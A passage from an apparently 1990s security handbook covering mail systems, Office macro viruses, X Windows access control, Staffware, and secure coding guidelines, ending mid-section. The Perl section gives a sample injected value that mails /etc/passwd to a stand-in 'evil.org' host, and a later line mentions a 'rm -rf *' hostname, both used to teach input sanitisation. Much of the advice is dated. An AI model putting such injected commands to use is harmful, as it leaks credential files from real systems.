  5. Access Control:
    • Personal folders may be kept on the local PC (instead of the server). Additionally, a user can create password protected and/or encrypted personal folders on local hard drives.
    • "Groups" are used for authorising common folder access. Group mailboxes are also possible.
    • Access to public folders: Exchange allows an Access Control List to be defined for each folder. Different users/groups can be given different permissions. Sets of permissions can be organised into roles. Standard roles defined are owner (with full control) and reviewer (with read-only access). Public folders from other sites may be accessed without local replication (if corresponding NT domain trusts exist).
    • Access to directory objects (organisation, site, recipients, etc.) is also controlled by ACLs and roles as above. A typical role is user (with full access to a particular mailbox). Permissions are inherited from parent objects.
    • Advanced security can be enabled on a user by user or site basis.
    • Each mailbox has an encrypted security file (.EPT) which contains the user's private keys necessary for signing/ encryption/ decryption. For remote/mobile user's, this file should be located on the user's local disk.
    • A backup copy of private (not just public) keys are kept on the KM server.
  6. Auditing/Logging: Events are logged to the NT Security log. Auditing of changes to directory objects and services can be enabled. Automated alerts and monitors.
  7. Availability:
    • Exchange uses a transaction based information store, meaning should the server crash, the transaction log can be used to reconstruct the information store to it's state before the crash.
    • Public folders and directory services can be replicated (via email messages) within and between sites. Schedules may be set for folder replication and replication message size can be limited to prevent congestion.
    • The information store can be configured to limit public or private folder size, set age limits and automatically delete old information.
    • One KM server can be used for several exchange sites, but there is no concept of a backup KM server which can take over if the KM server goes down. KM requests can't be pooled among a group of KM servers, which would be useful in very large organisation.
    • Intelligent re-routing: If one connection goes down, Exchange can re-route messages through other connections.

Problems:

  • Exchange client is slow (unless lots of memory is available) and frequent updates are needed to the exchange client. The client can crash with large (> 40kB) body messages.
  • The key management is unwieldy and unsuitable for large user groups.
  • Encryption strength is weak outside the U.S. .
  • Advanced security is not possible between Exchange sites separated by the Internet.
  • Are emails/folders safe from the administrator? Since the administrator has access to private keys, it would seem that he could forge user signatures and read email encrypted by the user? Although when the use enables advanced security, a password is assigned to protect the key.
  • The directory service is not X.500 compatible, nor are key certificates to either S/MIME or PGP.

Future features promised in Exchange 5.0:

  • Security over public networks (such as the Internet).
  • Better key distribution.
  • Organisation group signing/encryption.

Recommendations:

  • Use an NTFS filesystem on the KM (Key Management) server, install it in a physically protected area. Consider using a dedicated server.
  • Backup the key database regularly, especially for large numbers of users. Backups need to be physically secured.
  • Choose strong passwords for the Administrator and KM service. Let Setup copy the password to a diskette and physically secure the diskette for disaster recovery. 

MS-Mail (Feb.'95)

Microsoft mail is a collection of modules:
1. Client (MS-mail on Windows).
2. Mailbox server (called a PostOffice).
3. Mail address directory server.
4. Mail delivery process (External).
5. Gateway to X.400 backbone.

  • All mail servers (PostOffice, External, X.400 gateway, directory server) should be installed securely.
  • DEC's MAILworks can be used as a PostOffice.
  • Clients should have a mail.dat, protected by a password
  • The Mailext user under which the mail delivery process runs, needs full access to the mailbox directory. This user's password is almost never changed. So to prevent unauthorised users accessing mailboxes, the Mailext user configuration on the PostOffice should be configured so that he may only login from a named External PC.
  • The PostOffice directory should be exported with a unusual name (i.e. not maildata) and it should finish with a dollar ($), so that it does not appear in the exports browse list.
  • Logs should be regularly checked for strange behaviour (\maildata\log\ session.log,dispatch.log, recv.log, sent.log, x400xxxx.log)
  • For MS-Mail there are some products which increase security (based on MAPI or new MS-Mail "note types"). For example, Secumail is Telia (Swedish Telecom) product, sold in Sweden allowing secure communication for MS-Mail & Exchange users. Digital signatures and encryption are supported. Private keys are stored on a chip card. 

Open Issues

  • What are the most restrictive permissions possible on the mailbox directory?
  • Separate login always required?
  • Mail can be stored locally or accessed via remote mailbox. Is local mailbox more secure?
  • However one can not login and read mail on another PC. Is local better for class ? 

UNIX mail (SMTP, MIME, sendmail, MMDF)

The modules involved are
1. Client mail program (allows user to read/send mail), e.g. Mailtool, CDE dtmail, mailx, Zmail, /bin/mail...
2. Local delivery program, e.g. sendmail.
3. Local receiver program, e.g. sendmail, popper
4. Mailbox server, e.g. NFS server.
5. Domain gateway (forwards mail to/from local domain to other domains).
6. Internet Gateway (firewall to Internet).
7. X.400 Gateway (or other enterprise backbone protocol). 

Sendmail

Sendmail is a complex and historically, very buggy program. See the list of CERT advisories in the Appendix for examples of sendmail problems. Most Vendors have slightly modified sendmail, but few use the latest V8 sendmail, which has even more features but is supposed to be more secure[4]. In 1996 there were four or five serious security bugs found in the newest version. It seems to be a never ending story.

==> Don't use sendmail for transmission of confidential email, unless used together with a tool such as PGP. Consider converting to a commercial alternative (PMDF from http://www.innosoft.com/ , MS-Exchange, etc.) or MMDF (see next section).

  • Sendmail V8 is in the public domain and maintained by Eric Allman. See ftp://ftp.cs.berkeley.edu/pub/sendmail . When problems are reported to CERT, patches are normally quickly available. Vendors tend to produce patches months later.
  • Install latest sendmail vendor patch ;-)
  • If possible, change to V8 sendmail, i.e. V8.7.3 or later (Feb. 1996). But this requires expertise (especially on email gateways). The question is also how many newer bugs are in sendmail V8? V8 is quite easy to compile, but generating the configuration files is still hairy.
  • For clients which mount /var/mail (or /var/spool/mail) via NFS, the sendmail daemon doesn't need to be running since mail should be delivered to the NFS server. Stop the sendmail daemon! For SunOS edit /etc/rc.local, for Solaris, "mv /etc/rc2.d/S88sendmail /etc/rc2.d/.S88sendmail" then add a root cron entry to check for queued email (e.g. 0 * * * * /usr/lib/sendmail -q), then reboot.
  • Classical (now very old problems):
    • Remove aliases decode and uudecode from /etc/aliases.
    • Be sure that the DEBUG option does not work in sendmail (OK on Sun systems): strings /usr/lib/sendmail | grep DEBUG
    • Do not configure a wizard password in /etc/sendmail.cf.
  • For Internet email gateways, install a sendmail front end such as smap (see Firewalls chapter), to prevent direct access to sendmail.
  • Monitor syslog files for hackers attempting to use the "wiz" or "debug" holes. A simple example is: grep "wiz|debug" /var/log/maillog
  • Install smrsh (Sendmail Restricted Shell) to restrict what programs sendmail can pipe output to (see section on UNIX Tools).
  • Users may appreciate it if outgoing mail is automatically signed with the contents of their .signature file.

==> Create a script called signmail and install it in (say) /usr/local/bin. Change the "sendmail" in the users .mailrc to /usr/local/bin/signmail. Signmail would contain a script like:

#!/bin/sh
if [ -f ${HOME}/.signature ]; then

(cat - ; echo "" ; cat ${HOME}/.signature) | exec /usr/lib/sendmail $*

else

exec /usr/lib/sendmail $*

fi 

MMDF (Multi-channel Memo Distribution Facility)

Here is an extract from some of the MMDF documentation:

MMDF is a mail transport system that supports a variety of user interfaces and delivery mechanisms. The design was not encumbered with the need to be compatible with existing mail systems, and as a result MMDF has a unified family of mail handling programs.
MMDF's design allows it to grow from a single-host system to a large mail relay without degradation of mail system performance, and to degrade gracefully as the load becomes huge. The demands of a high volume mail relay have led to many of MMDF's innovative design choices.
Unlike some other systems, MMDF has separate processes for mail submission and delivery. Recent changes to the delivery software to permit intelligent retry strategies based on the retry history for each dead host will be explained. The effect of the new domain server mechanism on address validation will be discussed.
The separation of mail into channels is key to MMDF's ability to handle large amounts of mail. Each channel represents a different class of delivery and each channel has its own queue. This isolates problems and allows one to provide different ??levels of service'' to different channels.

The MMDF system was originally developed at the University of Delaware and has since seen significant development work at the Ballistic Research Laboratory and University College London.

The MMDFII software is available under license, free of charge (with the possible exception of a tape copy fee), for internal use only as follows: to U.S. Government agencies through the Ballistic Research Labs, to CSNET sites through the CSNET Coordination and Information Center at BBN, and to others through Prof. David Farber at the University of Delaware, Electrical Engineering and Computer Science Department. Commercial concerns interested
in MMDF for other than internal use should contact Prof. Farber.

It doesn't seem to have advanced since 1994, the current version is V2.4.3 and is called MMDFIIb. See also http://www.cs.okstate.edu/~vasoll/mmdf 

Office Automation 

MS-Office (Winword/ Excel/ PowerPoint)

  • Confidential files may be additionally protected by MS-Office applications if the user specifies a password. If this feature is used, the password should be known to two people, or written down and kept in a locked safe to prevent possible loss of data. NOTE: It is possible to crack these passwords very easily (tools for this exist on the Internet), so these passwords should not be considered as a barrier to computer literate attackers.
  • OLE automation is often used to embed objects in documents, e.g. to embed an Excel table in a Word document. It is important to draw attention to the fact that if a part of an Excel table is selected for embedding in Word, the entire information in the Excel file is available to the Word document, even if the Excel file is protected by a password. So if a copy of the Word document is mailed to a colleague, this colleague can read/modify the embedded Excel file, even if it is protected by a password.
    • Users should be aware of the inherent security weaknesses in OLE.
    • To be absolutely sure of avoiding the above problem, either copy the Excel table as text into a Word table, or create a new Excel file which contains only the information required.
    • This problem exists for all OLE enabled applications, not just Word and Excel.
  • Trojan horses: A security threat is posed by the use of macros in imported Word[5], Excel and Access files. e.g. if a user receives a Word (or Excel or Access) document via email and opens it, then a macro in that document can be executed automatically and can read/write any file to which the user has access on the system (meaning any file on DOS/Windows 3 or 95)! It is difficult to protect against this, but the following is recommended:
    • Users should be educated about the dangers of opening files from untrusted sources.
    • Users should hold down the "shift" key when opening Winword documents from untrusted sources. This prevents macros from being automatically executed.
    • In general documents from untrusted sources should never be opened by users.
    • Winword: Make the normal.dot file read-only, so that macros cannot be automatically written to it.
    • Winword 7.0a: disable auto macro execution in Tools->Options->General.

    Document (or spreadsheet, database) files must now be treated in the same manner as executables in terms of virus protection. If you don't know where the document has come from, scan it for viruses before opening it. When buying new document handling applications, tell your vendor that is must include options for disabling auto-execute and normal macros!

  • MACRO VIRUS: In August 1995, a document containing macros as described above circulated on the Internet. This is the first known Wordbasic virus. Although this virus is not "deadly", it has caused alot of consternation. It must be assumed that many viruses of this kind will soon be on the Internet. More information on the "Word prank macro" (as baptised by Microsoft) can be had from http://microsoft.com/msoffice/prank.htm . Here is the description from Microsoft:

Microsoft® Word is a target of a prank macro which distributes itself through documents created in Word 6.0 for Windows® 3.1, Word 6.0.1 for the Macintosh®, Word 6.0 for Windows NT(TM) and Word for Windows 95. The prank macro does not affect earlier versions of Word for Windows or Word for the Macintosh. After you open a document containing the macro, documents you save will contain copies of the macro. Once installed, the macro only lets you save documents as templates. The macro does not otherwise affect the contents of the document.

  • Microsoft have published a fix (Scan831.doc) but this is already out of date (see CIAC advisory G-10, Feb 1996), with serveral new viruses having appeared. The latest fix is mvtool20.exe available from http://www.microsoft.com/msoffice/freestuf/msword/download/mvtool . However this tool should not be overestimated, as it only warns the users of the existance of macros in a document, but only recognises one virus (WM.Concept.A).
  • Microsoft have NOT yet published a fix for the Excel DMV virus (May 1996).
  • Fix for Word: If you start Winword from a program manager icon or link (Win95) select the word icon and choose properties. Add /mDisableMyAutoMacros to the Word command line.
  • See ftp://ftp.informatik.uni-hamburg.de/pub/virus/macro/ for a list of current macro viruses or also ftp://ftp.ncsa.com/pub/virus/WildList .
  • It is hoped that Microsoft will change all their applications which use macros or Visual Basic to notify users if there are any macros in a document and whether they should be executed, when the document is being opened.
  • Macros can also call DLLs, so if DLLs accompany files from an untrusted source, they present a security risk.
  • Many Virus checking utilities now check for macro viruses too. Ensure that such a checker is installed. 

WordPerfect

WordPerfect is not as susceptible to macro viral attacks as Winword, since macros are stored in a separate file and not the document file. 

Windows Help Files

Windows help files can call DLLs. Therefore do not open help files from untrusted sources. If they must be viewed, then do so as an unprivileged user. 

Postscript

Postscript has become the standard language for printing documents, originating in the Macintosh world. However, Postscript is an interpreted language which can (from level 2.0 onwards) allow direct access to the filesystem, meaning postscripts files can be used to read or write other files!

  • Therefore Postscript "viewers" should not be used on postscript files from untrusted sources. Perhaps postscript viewers should not be allowed on normal PCs/workstations ? Or perhaps a "secure" postscript viewer should be made available centrally. 

Ghostscript

Ghostscript is a public domain postscript interpreter developed by the Free Software Foundation (GNU). Ghostview is a postscript file viewer which uses the Ghostscript interpreter engine. Ghostscript can be started with the option -dSAFER to disallow file writing, from version 3.22 beta. The Aladdin version has this fix, however the GNU version does not (yet, Sep.1995). Since Ghostscript can be called from a variety of front ends, it is not always possible to change the command line. So:

  • Change the Ghostscript setup file gs_init.ps (in $GS_LIB, often /usr/local/lib/ghostscript) so that the follow lines are commented:

% SAFER not { ( %END SAFER) .skipeof } if
......
% %END SAFER 

MS-Schedule+ (UC)

Uses MS-Mail for communication. Recently integrated into MS-Office 95 and Windows NT.

Host Emulators (vt100, vtxx0, 3270)

Passwords can be programmed as keyboard macros into certain emulators. If this feature is used, the emulator initialisation file (where the macro is written) should not be readable by other users. This is especially a problem when home directories are located on a server. 

Teemtalk

Teemtalk provides 3270 (for IBM mainframe access) and VT340 (for VAX access) emulation to allow direct use of a variety of Host applications. Both emulations include a facility for file transfer. Teemtalk uses "Winsock" communications protocol, passing via a 3174 gateway for 3270 emulation and accessing VMS systems directly via sockets.

Emulators are needed for access to host based data. From a security standpoint this means that:

  1. Users must enter username and passwords to access mainframe Hosts. These passwords traverse the network in clear text due to the use of the Telnet protocol (degrades host security).
  2. No trust is required between the Hosts and PCs (improves Host security).
  3. Since users have multiple accounts and passwords, they may use the same password everywhere, write it down or use easy to guess passwords (degrades security).

Login names/passwords which traverse the network unencrypted could be "seen" by either an employee running "sniffer" software on the network or by an external hacker "listening" to inter-building leased lines (see network section). This is due to a weakness in the Telnet protocol. Although proprietary security extensions to this protocol exist, none have been (so far) widely adapted.

X Windows (Dec.'95)

Introduction

The X Windows System is a very flexible, standardised, but often insecure Graphical User Interface (GUI) available on UNIX machines, PCs, NT and even VAX. X Windows, developed at MIT (and in the public domain) has a client / server based architecture. The first widely adopted version of X Windows was Version 11, Release 3. This is known as X11R4. The current version is X11R6. The term X11 is often used interchangeably with the X Windows System. X11 from MIT is often referred to as Vanilla X, to distinguish it from it's numerous commercial equivalents.

The X client is the program or application and the X server is the software which controls the screen and it's windows. This (somewhat confusing) naming convention often means that the X Server runs on the user's local machine and the client runs on a server! The X server and X client communicate via the X Protocol. The X protocol can be running on a local machine only (where client & server are local), or it can be running across a network (where client & server are separated as above). An X Terminal is a screen, keyboard and mouse with controlling X server software which make the X terminal available to X clients.

Many clients can be running on one server. These clients can originate from machines anywhere on the network. The inter-client communication and the access control (which clients are allowed start on which server) must be controlled. If one client is able to send information to another, capture information meant for another or spoof information to another client, security may be compromised.
Typical inter-client communication includes:

  • X terminal setup changes: fonts, colours, keyboard mapping and mouse sensitivity.
  • X Events: a key has been pressed, mouse moved, etc..
  • X Data: changes to the screen, such as writing text/images/windows.

Rogue clients could attempt to delete/modify or replace such communications. 

General recommendations

  • Use the xhost or preferably the xauth mechanism (see below) to restrict display access.
  • If you use SSH instead or rlogin & telnet, it automatically sets up an encrypted X session along with X authorisation. Therefore neither xauth not xhosts authentication is needed. Recommended.
  • Make sure that the sticky bit is set on /tmp on multiuser systems.
  • Define a (read-only) console window for each user, e.g. with contool.
  • Use screenlock or xlock to block unattended screens. Make sure a password is required.
  • Install secure xterm.
  • Do not use the standard X window system. Many UNIX variants have a version of X11 called "Trusted X11" which can be used.

  • There are two principal access control mechanisms in X11: host based (xhost) and token based (xauth). Xhost is the simplest, but weakest mechanism. 

xhost

Each X server maintains a list of hosts which may access it: i.e. clients from these hosts may use the X server to display/manipulate windows. The xhost command is used to manage the host access control list (ACL) for all future connections. Existing connections are not affected. Some examples are:
 

xhost + Allow connections from ANY host (not recommended!). The ACL still exists, but has no effect
xhost +host1 Add host1 in the local domain to the ACL.
xhost +host1.mydomain Add host1 in the (DNS) domain mydomain to the ACL.
xhost -host1 Remove host1 from the ACL.
xhost display the current ACL.
xhost - Restrict access to current ACL. If xhost + was not used beforehand, this has no effect. If xhost + was executed beforehand, the ACL before the xhost + command is restored. IMPORTANT: xhost - does not mean that no host has access!

If a user tries to connect to the server (called SERVER_NAME in this example) from an unauthorised host, the following error message is issued:

Xlib: connection to "SERVER_NAME:0.0" refused by server.
Xlib: Client is not authorised to connect to server.

The xhost mechanism is purely host based i.e. if a host is granted access, all users on that host are granted access. In a workstation environment of one user per host, this not such a problem, however a multiuser server, if granted access to a workstation, opens up a considerable security risk.

  • Only known single-user hosts of at least the same security level should be trusted via xhost.
  • Never use xhost +, add a line to .xinitrc (for example) creating the default ACL required for a particular host. E.g. xhost +host1 +host2 +host3 +host4
  • Use of the xhost mechanism is recommended only between "single-user" workstations.
  • Multi-user hosts should not be granted access, the xauth mechanism is more appropriate. Note that xhost has higher priority than xauth.
  • Some commercial X servers disable access control by default! e.g. NCD, SGI...
  • To empty the ACL, you need a script (xhost - will not empty the ACL), e.g. the bourne shell script:

  • for h in ?xhost|awk '!/access/ {print $1}'?; do xhost -$h; done 

xauth

With Token based authentication, a token (in this case a random number) is attributed to a user's X11 session. Any client which wish to connect to the X11 server must furnish this token. Since this token is normally only available to the user who own the X session, this token provides a user based access control mechanism. The token is called a magic cookie in X11 terms. For a user logged onto just one machine, the additional security is transparent.
The magic cookie is stored in the .Xauthority of the user's home directory. The program xauth is used for adding/reading/deleting the cookie. To list cookies, use xauth list and to show auth status, try xauth info. Typing xauth alone gives a prompt, at which one can type ? or help to get a list of commands.

Cookie creation:
There is not a standard mechanism for creating the cookie! Sun's OpenWindows and XDM (see below) automatically generate a magic cookie on startup, but other X11 systems may require manual cookie generation. There a few different possibilities, if $HOST contains the name of the local screen, the following could be used in xinit:

  1. Using the korn shell random number generator:

  2. xauth add ${HOST}:0.?ksh -c 'echo $(( $RANDOM*RANDOM*2 ))'?
  3. Using the clock:

xauth add ${HOST}:0.?date +"%y%m%d%H%M%S"?

Also add the random number the UNIX PC name in addition to the TCP/IP name above:

xauth add ${HOST}/unix:0 . RAND_NUM

Cookie distribution:
If a user wants to start clients from a remote host, how can he grant access to his local display? Two possibilities come to mind:

  1. Both the remote and local host mount the same home directory for this user, therefore the user accesses the same .Xauthority file from both hosts and access control is automatic. (CHECK THIS!)
  2. Home directories are not shared. In this case the .Xauthority file on the remote machine needs to be synchronised. If a .rhosts file exists, the following can be used.

auth extract - $DISPLAY | rsh REM_HOST xauth merge -

or, if the X11R5 contrib client xrsh is available, a remote client can be directly started:

xrsh -auth xauth REM_HOST xload

Recommendations:

  • The .Xauthority file should have permissions -rw-------.
  • If the home directory is exported, export only to named hosts, not to the world. Otherwise the .Xauthority file may be easily used to attain access to the X11 server.
  • The xauth mechanism is difficult to use unless home directories are shared.
  • If xauth is used, it should be used in addition to the xhost mechanism. 

HP OpenView (TBD)

See CIAC vulnerability F-19. 

Sun OpenWindows

  • Don't start process selection_svc under Sunview or OpenWindows.
  • Solaris 1: Use /etc/fbtab to protect the framebuffer and external devices.
  • Install the OpenWindows and XView jumbo patches.
  • OpenWindows 2.0: see CIAC vulnerability B-11.
  • SUN-DES-1: TBD 

Common Desktop Environment (CDE) (UC)

The is a new standard Window Manager for UNIX desktops, supported by the major vendors. It is basically Motif with HP's OpenView looks and Sun's OpenLook Tooltalk engine and desktop utilities. The underlying windowing system is X11R5 or R6. 

X Display Manager (XDM)

XDM is a GUI login system which allows login to different X servers.

  • If your xdm is older than October 11995, upgrade. See CERT VB-95:08.
  • To enable the xauth mechanism with XDM, set the following in /usr/lib/X11/xdm/xdm-config (or $OPENWINHOME/lib/xdm/xdm-config for Suns). This is enable by default on Solaris.

DisplayManager*authorize: true

XDM will automatically create the magic cookie when started and copy the cookie into .Xauthority.

TBD: authentication for xdm type login (-broadcast, -query, -indirect). Query method recommended. 

Xterm

The best known X client is probably the standard terminal emulation, xterm. This tool has some strengths & weaknesses in the security area. First, the following option should be set in the resource file:

xterm*allowSendEvents: False

This ensures that artificial events (i.e. those not generated by either mouse or keyboard) are ignored. This helps prevent spoofing.

Now the keyboard is shared among all running X clients by the X server. If an X client is reading in critical information (e.g. a password), it wants to be sure that no other X client can read the keystrokes. To take full control of the keyboard (no other client can receive input), xterm provides the "Secure Keyboard" option, attainable from the menu (CTRL + left mouse button). This option must be turned off to work again in other windows. For this reason, it is not very practical.

Patches:

  • X11R5 patch level 25 or earlier versions of xterm have a vulnerability when used with the logging option (-l).

Workflow Managers

Staffware V5 (UC)

General

Staffware is a Workflow manager which allows complex administrative routines to be automated.

Outstanding issues:
* Interaction with Oracle
* Connection to OLTP details, RPC communication between Staffware servers
* Transaction integrity? 

Accountability

User identification / authorisation
  • UNIX Login security: The following users must be defined for installation:
    • swadmin is the Staffware administrator and has special privileges.
    • pro is a non-interactive user, for Staffware background tacks. Block this account.
    • The Staffware server runs under root.
    • All staffware users have also UNIX accounts.
  • Measures:
    • The umask should be set for this each user to 027, to ensure that all files created have permissions rwxr-x--- (group can read & execute). In this case a group must also exist and be attributed to the Staffware files.
    • The umask should be set for this each user to 077, to ensure that all files created have permissions rwx------ .
Audit Trail

A detailed audit trail is available of Staffware operations.

  • All log files should have permission 0600 and be regularly monitored, archived and pruned.
  • The UNIX system logs should ensure a record of attempts to access the UNIX accounts used for OLTP operation and administration (e.g. via syslogd).
  • Staffware errors are either written to sw_warn or sw_error file in then $SWDIR/logs directory. 

Access Control

  • General Staffware security features:
    • Passwords offer WorkFlow & Data protection as well as digital signatures.
    • Fields can be protected.
    • Limited access user specific menus.
    • Controlled access to central data tables.
    • Procedures are owned by the definer.
    • Administrator access can be restricted to a specific user or group.
  • File and directory permissions should be set restrictively for $SWDIR directory i.e.

  • chmod 700 ~$SWDIR
    chmod -R w-rwx,g-rwx ~$SWDIR/*
    chown -R root ~$SWDIR/*
  • Staffware backups are made to the directory specified in the swdefs file in $SWDIR . This directory should only be owned by the administrator and not be readable by everybody.
  • If Staffware for windows is used, the file permission checking level must be specified to one of the following (during installation):
    1. no checking: NOT RECOMMENDED!
    2. PC must create files with protection 666. NOT RECOMMENDED!
    3. PC must create files owner by correct user and group and with permissions 660. All Staffware users must then belong the corresponding group. Use this option.
Object Reuse
N/A

Secure Data Exchange

Communication with Oracle:
Staffware stores it's data in Oracle tables and communicates with Oracle via SQL.

Staffware multi-node configuration:
Staffware servers can communicate with each other as peers to co-ordinate workflows between servers.

  • All nodes are equal.
  • Each procedure has a designated hostnode on which the procedure and its tables are created and edited and to which released Steps are routed. This node contains the master copies of User, Role, List and Table files relevant to that procedure. Any other nodes that participate in that procedure are slave nodes (relative to that procedure). Nodes communicate via a permanent background task.
  • Slave nodes are updated (pushed) with data usually from cron with Pstaddifc SENDDATA [slave node] [proc]. Slaves may also pull information via with Pstaddifc GETDATA [host node] [proc].
  • V5 uses email for communication in a multi-node configuration. This is not discussed here, as the primary interest in the RPC communication.
Peer Entity authentication
  • If Staffware for Windows is used, Windows users should be required to enter a password (this is specified during installation).
  • TBD: RPC ?
Integrity

Integrity of data transfer is guaranteed by TCP/IP and the RPC or email transports.

Confidentiality

Passwords are transmitted over the network in clear form.

Non Repudiation of origin/receipt

Digital signatures are not supported. 

Availability

Backups
  • Staffware allows backup of case data files into an on-line directory. This directory is specified in the swdefs file in $SWDIR. System backup tools can then be used to backup this directory to off-line media.
  • No users can be logged into Staffware during the backup or restore operation (a major limitation IMHO). The export function (for tables, lists and procedures) cannot be used either when users are on-line.
  • No incremental backups are possible.
  • A Staffware backup cannot be restored to a different machine (use the export function instead).
  • An individual user can backup his/her own procedures to a subdirectory staff.dir/procdef.bak of his/her home directory. The swadmin user can backup all procedures.

TBD: restore in slave mode

Redundancy

none available? 

EDI

Electronic Data Interchange is a way for businesses to exchange invoices, orders etc. electronically. There are many different standards. The reader is referred to "Security and EDI" by Orla Greevy ( mailto:greevy_o@vptt.ch ) in the technical magazine from Swisscom "Telecom PTT Technische Mitteilungen 2-1994" for a detailed discussion of security issues. 

Developing Secure Applications

General Guidelines

  • Review: Have your code verified or subjected to peer review, especially if the code runs as a network service, SUID, or with special (administrator/root) privileges. Make sure the reviewee is an expert/guru who really knows his stuff.
  • Test software :usage, buffer overflows, memory leakage, command line parameters, environment variables, unexpected (and large) input.
  • Style:
    • Keep it simple (stupid)! (KISS). Don't use a language's exotic features, just because you know how to use them.
    • Use parentheses for clarity. Don't depend on operator precedence - when in doubt parenthesise
    • Use self explanatory variable & function names.
    • Pass arguments as subroutine parameters (rather than using global variables). But don't take this to extremes, globals can be useful.
    • Put in useful comments, especially where code is complex or tricky.
    • Keep main() small (one page).
    • Critical code segements should be small, simple and kept seperated.
  • Secret backdoors should never be put in your code. They won't stay secret for long.
  • File & Network I/O:
    • Close open files when you're finished with them.
    • Always check the return values of important functions such as open() and unlink(), particularly when locking files. When writing to files, the OS could truncate the file if the disk is full: check return values.
    • File locking: Lock files that might be used by multiple instances/threads/processes and lock for the shortest time possible.
    • Don't assume you're in the correct directory - chdir() to the correct directory explicitly.
    • Use timeouts when sending & waiting for network data, to avoid hogging resources & hanging processes.
    • Don't trust ports numbers less than 1000 anymore than other ports.
    • Don't assume source IP addresses are correct.
  • threads & processes:
    • Check return values
    • look for deadlocks.
    • Consider the effects of multiple threads read/writing the same variables: synchronising, sequencing, locking, visibility.
    • Look for race conditions, even in single processes.
    • Clean the environment before calling sub-processes.
  • Manage your heap carefully.
  • Document: Application structure and components , dataflow, event model, Dependencies between components, Dependencies on external components (libraries, include files, HTML pages, databases, etc.), Logging files and formats (file locking?), Communication channels/protocols usage (email, X.25, telnet, ftp, sockets, IPC, ...)
  • Security:
    • Don't send usernames or passwords in clear text.
    • Encryption:
      - Consider using PGP or 3DES, IDEA etc., but not XOR (or other toy algorithms).
      - Hashing algorithms such as MD5 can be used where one side has a copy of the username & password and wants to verify that the other side has it too. This does not solve the problem of replay attacks or impersonation though (signing of timestamped data is a solution to that problem).
    • Don't leave unencrypted passwords in memory, empty arrays when not needed, otherwise they may be visible in a coredump.
    • Check strings sizes (and other array overflows) where necessary.
    • Clean environment variables and command line arguments before using them.
    • Don't trust DNS too much. Imagine what could happen to your program if a DNS lookup returned a host called rm -rf *.
    • Consider the effects of use dynamic libraries on security. Avoid dynamic loading for programs that handle sensitive data.
    • Give processes/files the minimum privileges they need.
  • Create a log of appliction events: e.g. date, time, UID, GID (& eff. UID, GID), terminal/computer/IP addr, user name, PID, error number/text.. Use log formats consistent with that platform (e.g. syslog, NT event log). Allow different levels of logging to be configured.

UNIX Application development

See also [unix1] and the UNIX chapter.

  • set umask before opening files
  • always set the IFS and PATH explicitly
  • avoid SUID & SGID programs, especially SUID root. If SUID is really necessary,
    • Don't ever write SUID or SGID shell scripts. Use binaries (e.g. compiled programs). Even if a shell script disables interrupts, it is not secure.
    • Create a subprogram as simple and small as possible, with just the instructions that must be SUID. Make this, not the entire application SUID.
    • SUID programs may be world executable, but not world readable. They should be protected from prying eyes.
    • Reset the effective UID as soon as possible.
    • Interrupts should be disabled or handlers attached.
    • Use chroot() for additional protection (and check the return value of it!).
  • Set (csh) limit values to control core file size
  • If sensitive temporary files are needed, create them, open read-write, delete them (via unlink()), then write data, read data and close the file. The file will not be visible to other processes using the filesystem (such as ps), but it will take up hidden space. When the program terminates, the file is really deleted by the OS. There is no race condition.
  • use mktemp() rather than *mktemp(), since it is less subject to race conditions.
  • Don't use the system calls execlp() or execvp() as they allow path searching.
  • Opening shells (i.e. with popen() and system()) should be avoided where possible. If they are necessary, use the absolute path of commands and ensure that the environment variables are set correctly (no assumptions should be made about variables such as IFS).
  • Disable interrupts, where needed (e.g. prevent user from backgrounding a program)
  • When creating a new file, check it's not a link with lstat() and use O_EXCL & O_CREAT flags to check the file does not already exist.

New: See also http://www.sunworld.com/swol-08-1998/swol-08-security.html?080198a (I've not yet compared it with the above, but it comes from a good source..) Local copy.

Development languages

Use a security conscious language such as Java (or Ada) rather than C. Likewise use tainted perl rather than perl. Most actual security weaknesses in programs are due to a) bad design (e.g. sending passwords in clear text) or b) bad programming (e.g. string/stack/array overflows, wild pointers, race conditions)

Java Recommendations:

  • If you catch exceptions, don't ignore them.
  • Use try {} catch {} finally {} extensively.
  • Baltimore offer a pure Java library called J/Crypto that implements military stength encryption, hashing & certificate management. NOT subject to U.S. export restrictions. V3 was used by the author for secure Applet-Proxy-Server communications.
  • Use Javadoc from day 1 as an integral part of project documentation.

    .

C++:

  • Avoid multiple inheritance (i.e. see the "KISS" axiom above).
  • See also the 'C' section below.

C Recommendations:

  • Check string and array lengths!
  • Don't use routines which don't check buffer bounds. E.g. use fgets() and never gets() .
  • Free() whatever you malloc().
  • UNIX: don't use popen() or system() unless the environment is cleaned first. Use execve()

Perl Recommendations:

  • Style:
    • Name default arguments like $_ explicitly. Consider using English.
    • Use packages, modules and classes to hide implementation.
    • Name subroutine parameters with my. Use my rather than local.
    • Use comments and spaces in complex regular expressions, e.g. by using the x modifier with s substitutions (s/..../.../x).
    • All Perl scripts should run with no (or easily explained) warnings with the -w switch. If you do have problems with -w and a small section of code you know is OK, then switch off -w for that snippet with local ($^W)=0.
  • Standards: If you program in a team of others have to reuse you code:
    • Try to use existing, standard CPAN modules (such as CGI.pm for perl/CGI)..
    • Use the same timestamp formats in log files.
    • Use the same file headers (including perldoc if possible) and the same tabbing.
    • Include (someting like) the following lines at the top to protect the script from attacks on environment variables:

      # --------- Perl security precautions -----------
      $ENV{'PATH'} = '/usr/bin'; # don't include "." !!
      $ENV{'SHELL'} = '/bin/sh';
      $ENV{'IFS'} = ' ';
      umask(077); # -rw- --- ---

  • Never put the perl executable in the cgi-bin of WWW servers.
  • To ensure correct declaration of variables and functions, use strict. Different strict functions are available, all of which improve code clarity, minimise bugs and improve modularity:
    • use strict 'refs': looks for suspicous soft references.
    • use strict 'vars': looks for stray variables, so all variables need to be defined with my() or referenced with $package::var.
    • use strict 'subs': looks for bare words, e.g. will ensure quotes around strings, parentheses around function calls.
  • Switch on tainted checking, especially for cgi & SUID scripts. If Perl is started in this mode, it assumes that all environment variables are tainted i.e. possibly dangerous and will not allow these variables to be passed to subprograms via eval(), system(), exec() or piped open(). To start tainted Perl, use #!/bin/perl -T (perl5) or #!/bin/taintperl (perl4).
  • Always clean environment variables of dangerous characters before using them . What if REMOTE_USER has the value bill; mailx baddie@evil.org </etc/passwd? Clean variables of dangerous characters before using them, e.g. remove &;'\"|*?~<>^()[]{}$\n\r;,`.

    An example for extracting a valid email addresses might be:
        if ($addr =~/^([-\w.]+\@[-\w.]+)$/) {
          $addr=$1;
        } else {
          die "Strange characters in $addr";
        }

Note: This should match name@domain where name and domain can have letters, words, underscore, a dot or hyphen as characters.

This example removes all characters except 0-9:

